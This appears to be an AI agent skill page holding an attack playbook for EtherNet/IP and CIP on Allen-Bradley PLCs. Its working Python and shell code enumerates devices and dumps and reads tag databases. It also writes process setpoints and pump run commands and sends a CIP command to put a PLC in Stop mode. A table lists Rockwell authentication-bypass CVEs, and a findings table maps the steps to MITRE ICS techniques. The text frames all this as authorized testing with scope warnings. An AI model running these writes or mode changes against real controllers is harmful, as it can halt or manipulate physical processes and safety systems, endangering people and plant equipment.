EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.
68
82%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.
CIP write operations (Write() on tags) and mode-change commands (Stop, Run, Reset) affect physical process equipment. A mode-change to Stop immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.
# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix
# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo
# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.
# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5
# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
# 'product_code': 166, 'revision': {'major': 33, 'minor': 11},
# 'serial_number': '0xA1B2C3D4', 'status': 12340}# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State# pylogix PLC info — TCP 44818
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
info = comm.GetPLCTime()
print("PLC time:", info.Value)
props = comm.GetModuleProperties(0)
print("Module:", props.Value)ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Enumerate all controller-scoped tags
tags = comm.GetTagList()
print(f"[*] Found {len(tags.Value)} controller tags")
for tag in tags.Value:
print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")
# Enumerate program-scoped tags (programs inside the controller)
programs = comm.GetProgramList()
for prog in programs.Value:
prog_tags = comm.GetProgramTagList(prog)
print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
for tag in prog_tags.Value:
print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}")Tag names are often self-describing in production environments:
PumpStation_1.RunCmd — pump run command coilValve_FV_101.OpenCmd — valve open commandReactor_TIC_201.SP — temperature setpointSafety_SIL2.BypassActive — safety interlock bypass flagfrom pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Read a single tag
result = comm.Read("PumpStation_1.RunCmd")
print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})")
# Read multiple tags in one request (efficient)
tag_list = [
"Reactor_TIC_201.SP",
"Reactor_TIC_201.PV",
"Valve_FV_101.OpenCmd",
"Safety_SIL2.BypassActive",
]
results = comm.Read(tag_list)
for r in results:
print(f" {r.TagName} = {r.Value} Status={r.Status}")
# Read array elements
array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0
print("Recipe[0:10]:", array_result.Value)STOP. Confirm written scope authorization before this phase. Writing process control tags may energize/de-energize actuators immediately.
from pylogix import PLC
# Write a BOOL tag
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Example: write a setpoint — requires authorization
result = comm.Write("Reactor_TIC_201.SP", 85.0)
print(f"Write SP: {result.Status}")
# Example: write a BOOL control tag — requires authorization
result = comm.Write("PumpStation_1.RunCmd", 1)
print(f"Write RunCmd: {result.Status}")Write status codes: Success = write accepted by PLC; PathSegmentError = bad tag name; ServiceError = PLC in Program mode or inhibited.
Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart.
import cpppo
from cpppo.server.enip import client
# CIP explicit messaging to change PLC mode
# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)
# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)
# Mode: 0x01 = Run, 0x02 = Program (Stop)
def set_plc_mode(ip, mode_val, port=44818):
"""
mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
Requires write-class scope authorization.
"""
operations = [
{
"method": "set_attribute_single",
"path": "@0x01/1/10",
"data": [mode_val],
}
]
with client.connector(host=ip, port=port) as conn:
for op in operations:
conn.set_attribute_single(
path=op["path"],
data=op["data"],
)
conn.collect(timeout=2)
print(f"Mode change to {mode_val:#04x} sent")
# set_plc_mode("10.0.0.5", 0x02) # Stop (Program mode) — halts PLC program
# set_plc_mode("10.0.0.5", 0x01) # RunAlternatively, pylogix provides a direct wrapper:
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Some pylogix versions expose:
comm.GetPLCTime() # verify connectivity first
# comm.Write("_RunMode", 0) # vendor-specific; verify tag exists first| CVE | Product | Description | CVSS |
|---|---|---|---|
| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |
| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |
| CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 |
| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |
| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |
CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check:
# Firmware version from pylogix
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
props = comm.GetModuleProperties(0)
print("Firmware:", props.Value)
# Compare against Rockwell Security Advisory RLSA-2023-0026
# Affected: < v33.012 (1756-EN2* family)| Finding | MITRE | Impact |
|---|---|---|
| Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet |
| No CIP authentication — tag list readable | T0855 | Full process variable visibility |
| Tag write accepted without auth | T0836 | Direct process manipulation |
| PLC mode change accepted (Stop) | T0816 | Halt production line |
| Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |
| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant |
| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |
kg_add_node(
kind="finding",
label="EtherNet/IP unauthenticated tag access",
props={
"key": f"enip-cip-anon::{target_ip}",
"protocol": "enip-cip",
"port": 44818,
"product_name": "<ProductName>",
"firmware_revision": "<major.minor>",
"tag_count": len(tags.Value),
"writable": False, # set True only after confirmed write-scope
"source": "pylogix-taglist",
},
)pylogix GetTagList() output showing tag count + representative tag names with data types.pylogix Read() result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).If write testing was authorized: include Write() result showing Status=Success and a Read back confirming value change.
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.